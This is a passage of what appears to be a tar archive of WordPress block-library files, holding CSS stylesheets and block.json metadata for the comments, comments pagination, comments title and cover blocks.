.comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{ display:block; margin-bottom:1em; margin-top:1em; } .wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{ font-size:.875em; } .wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{ display:block; margin-bottom:.25em; } .wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{ box-sizing:border-box; display:block; width:100%; } .wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{ display:flex; gap:.25em; } .wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{ margin-top:.35em; } .wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{ margin-bottom:0; } .wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){ font-size:var(--wp--preset--font-size--medium, smaller); margin-right:.5em; } .wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{ font-size:.875em; margin-bottom:1.4em; } .wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{ border:1px solid #949494; font-family:inherit; font-size:1em; } .wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{ padding:calc(.667em + 2px); } :where(.wp-block-post-comments input[type=submit]){ border:none; } .block-library-comments-toolbar__popover .components-popover__content{ min-width:230px; } .wp-block-comments__legacy-placeholder *{ pointer-events:none; }blocks/comments/editor-rtl.min.css000064400000010411151202620300013213 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:right}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:left}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}blocks/comments/style-rtl.css000064400000005000151202620300012301 0ustar00.wp-block-post-comments{ box-sizing:border-box; } .wp-block-post-comments .alignleft{ float:right; } .wp-block-post-comments .alignright{ float:left; } .wp-block-post-comments .navigation:after{ clear:both; content:""; display:table; } .wp-block-post-comments .commentlist{ clear:both; list-style:none; margin:0; padding:0; } .wp-block-post-comments .commentlist .comment{ min-height:2.25em; padding-right:3.25em; } .wp-block-post-comments .commentlist .comment p{ font-size:1em; line-height:1.8; margin:1em 0; } .wp-block-post-comments .commentlist .children{ list-style:none; margin:0; padding:0; } .wp-block-post-comments .comment-author{ line-height:1.5; } .wp-block-post-comments .comment-author .avatar{ border-radius:1.5em; display:block; float:right; height:2.5em; margin-left:.75em; margin-top:.5em; width:2.5em; } .wp-block-post-comments .comment-author cite{ font-style:normal; } .wp-block-post-comments .comment-meta{ font-size:.875em; line-height:1.5; } .wp-block-post-comments .comment-meta b{ font-weight:400; } .wp-block-post-comments .comment-meta .comment-awaiting-moderation{ display:block; margin-bottom:1em; margin-top:1em; } .wp-block-post-comments .comment-body .commentmetadata{ font-size:.875em; } .wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{ display:block; margin-bottom:.25em; } .wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{ box-sizing:border-box; display:block; width:100%; } .wp-block-post-comments .comment-form-cookies-consent{ display:flex; gap:.25em; } .wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{ margin-top:.35em; } .wp-block-post-comments .comment-reply-title{ margin-bottom:0; } .wp-block-post-comments .comment-reply-title :where(small){ font-size:var(--wp--preset--font-size--medium, smaller); margin-right:.5em; } .wp-block-post-comments .reply{ font-size:.875em; margin-bottom:1.4em; } .wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{ border:1px solid #949494; font-family:inherit; font-size:1em; } .wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{ padding:calc(.667em + 2px); } :where(.wp-block-post-comments input[type=submit]){ border:none; }blocks/comments/style.css000064400000004776151202620300011525 0ustar00.wp-block-post-comments{ box-sizing:border-box; } .wp-block-post-comments .alignleft{ float:left; } .wp-block-post-comments .alignright{ float:right; } .wp-block-post-comments .navigation:after{ clear:both; content:""; display:table; } .wp-block-post-comments .commentlist{ clear:both; list-style:none; margin:0; padding:0; } .wp-block-post-comments .commentlist .comment{ min-height:2.25em; padding-left:3.25em; } .wp-block-post-comments .commentlist .comment p{ font-size:1em; line-height:1.8; margin:1em 0; } .wp-block-post-comments .commentlist .children{ list-style:none; margin:0; padding:0; } .wp-block-post-comments .comment-author{ line-height:1.5; } .wp-block-post-comments .comment-author .avatar{ border-radius:1.5em; display:block; float:left; height:2.5em; margin-right:.75em; margin-top:.5em; width:2.5em; } .wp-block-post-comments .comment-author cite{ font-style:normal; } .wp-block-post-comments .comment-meta{ font-size:.875em; line-height:1.5; } .wp-block-post-comments .comment-meta b{ font-weight:400; } .wp-block-post-comments .comment-meta .comment-awaiting-moderation{ display:block; margin-bottom:1em; margin-top:1em; } .wp-block-post-comments .comment-body .commentmetadata{ font-size:.875em; } .wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{ display:block; margin-bottom:.25em; } .wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{ box-sizing:border-box; display:block; width:100%; } .wp-block-post-comments .comment-form-cookies-consent{ display:flex; gap:.25em; } .wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{ margin-top:.35em; } .wp-block-post-comments .comment-reply-title{ margin-bottom:0; } .wp-block-post-comments .comment-reply-title :where(small){ font-size:var(--wp--preset--font-size--medium, smaller); margin-left:.5em; } .wp-block-post-comments .reply{ font-size:.875em; margin-bottom:1.4em; } .wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{ border:1px solid #949494; font-family:inherit; font-size:1em; } .wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{ padding:calc(.667em + 2px); } :where(.wp-block-post-comments input[type=submit]){ border:none; }blocks/comments-pagination/editor.min.css000064400000001320151202620300014542 0ustar00.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}.editor-styles-wrapper .wp-block-comments-pagination{max-width:100%}.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin:.5em .5em .5em 0}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}blocks/comments-pagination/style-rtl.min.css000064400000001761151202620300015224 0ustar00.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination.aligncenter{justify-content:center}blocks/comments-pagination/block.json000064400000002423151202620300013752 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments-pagination", "title": "Comments Pagination", "category": "theme", "parent": [ "core/comments" ], "description": "Displays a paginated navigation to next/previous set of comments, when applicable.", "textdomain": "default", "attributes": { "paginationArrow": { "type": "string", "default": "none" } }, "providesContext": { "comments/paginationArrow": "paginationArrow" }, "supports": { "align": true, "reusable": false, "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "layout": { "allowSwitching": false, "allowInheriting": false, "default": { "type": "flex" } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-comments-pagination-editor", "style": "wp-block-comments-pagination" } blocks/comments-pagination/editor.css000064400000001357151202620300013772 0ustar00.wp-block[data-align=center]>.wp-block-comments-pagination{ justify-content:center; } .editor-styles-wrapper .wp-block-comments-pagination{ max-width:100%; } .editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{ margin:0; } .wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{ margin:.5em .5em .5em 0; } .wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{ margin-right:0; }blocks/comments-pagination/style.min.css000064400000001757151202620300014432 0ustar00.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination.aligncenter{justify-content:center}blocks/comments-pagination/editor-rtl.css000064400000001422151202620300014562 0ustar00.wp-block[data-align=center]>.wp-block-comments-pagination{ justify-content:center; } .editor-styles-wrapper .wp-block-comments-pagination{ max-width:100%; } .editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{ margin:0; } .wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{ margin-bottom:.5em; margin-right:.5em; margin-top:.5em; } .wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{ margin-right:0; }blocks/comments-pagination/editor-rtl.min.css000064400000001355151202620300015351 0ustar00.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}.editor-styles-wrapper .wp-block-comments-pagination{max-width:100%}.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-bottom:.5em;margin-right:.5em;margin-top:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}blocks/comments-pagination/style-rtl.css000064400000002045151202620300014436 0ustar00.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{ margin-bottom:.5em; margin-right:.5em; } .wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{ margin-right:0; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{ display:inline-block; margin-left:1ch; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){ transform:scaleX(-1);; } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{ display:inline-block; margin-right:1ch; } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){ transform:scaleX(-1);; } .wp-block-comments-pagination.aligncenter{ justify-content:center; }blocks/comments-pagination/style.css000064400000002041151202620300013633 0ustar00.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{ margin-bottom:.5em; margin-right:.5em; } .wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{ margin-right:0; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{ display:inline-block; margin-right:1ch; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){ transform:scaleX(1); } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{ display:inline-block; margin-left:1ch; } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){ transform:scaleX(1); } .wp-block-comments-pagination.aligncenter{ justify-content:center; }blocks/comments-pagination/index.php000064400000161715151202620300013617 0ustar00blocks/comments-pagination-next/block.json000064400000001675151202620300014736 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments-pagination-next", "title": "Comments Next Page", "category": "theme", "parent": [ "core/comments-pagination" ], "description": "Displays the next comment's page link.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "postId", "comments/paginationArrow" ], "supports": { "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/comments-pagination-numbers/editor.min.css000064400000000325151202620300016217 0ustar00.wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-right:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0}blocks/comments-pagination-numbers/block.json000064400000001577151202620300015434 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments-pagination-numbers", "title": "Comments Page Numbers", "category": "theme", "parent": [ "core/comments-pagination" ], "description": "Displays a list of page numbers for comments pagination.", "textdomain": "default", "usesContext": [ "postId" ], "supports": { "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/comments-pagination-numbers/editor.css000064400000000346151202620300015440 0ustar00.wp-block-comments-pagination-numbers a{ text-decoration:underline; } .wp-block-comments-pagination-numbers .page-numbers{ margin-right:2px; } .wp-block-comments-pagination-numbers .page-numbers:last-child{ margin-right:0; }blocks/comments-pagination-numbers/editor-rtl.css000064400000000345151202620300016236 0ustar00.wp-block-comments-pagination-numbers a{ text-decoration:underline; } .wp-block-comments-pagination-numbers .page-numbers{ margin-left:2px; } .wp-block-comments-pagination-numbers .page-numbers:last-child{ margin-right:0; }blocks/comments-pagination-numbers/editor-rtl.min.css000064400000000324151202620300017015 0ustar00.wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-left:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0}blocks/comments-pagination-previous/block.json000064400000001711151202620300015623 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments-pagination-previous", "title": "Comments Previous Page", "category": "theme", "parent": [ "core/comments-pagination" ], "description": "Displays the previous comment's page link.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "postId", "comments/paginationArrow" ], "supports": { "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/comments-title/editor.min.css000064400000000070151202620300013533 0ustar00.wp-block-comments-title.has-background{padding:inherit}blocks/comments-title/block.json000064400000002604151202620300012743 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments-title", "title": "Comments Title", "category": "theme", "ancestor": [ "core/comments" ], "description": "Displays a title with the number of comments", "textdomain": "default", "usesContext": [ "postId", "postType" ], "attributes": { "textAlign": { "type": "string" }, "showPostTitle": { "type": "boolean", "default": true }, "showCommentsCount": { "type": "boolean", "default": true }, "level": { "type": "number", "default": 2 } }, "supports": { "anchor": false, "align": true, "html": false, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true }, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true, "__experimentalFontFamily": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true } } } } blocks/comments-title/editor.css000064400000000075151202620300012756 0ustar00.wp-block-comments-title.has-background{ padding:inherit; }blocks/comments-title/editor-rtl.css000064400000000075151202620300013555 0ustar00.wp-block-comments-title.has-background{ padding:inherit; }blocks/comments-title/editor-rtl.min.css000064400000000070151202620300014332 0ustar00.wp-block-comments-title.has-background{padding:inherit}blocks/cover/editor.min.css000064400000003320151202620300011706 0ustar00.editor-styles-wrapper .wp-block-cover{box-sizing:border-box}.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient:before{background-color:#fff;opacity:.3}.wp-block-cover .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%);z-index:1}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:left}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-left:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.wp-block-cover>.components-drop-zone .components-drop-zone__content{opacity:.8!important}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}.wp-block-cover:after{min-height:auto}blocks/cover/style-rtl.min.css000064400000044123151202620300012365 0ustar00.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;direction:ltr;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:transparent}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0;z-index:1}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 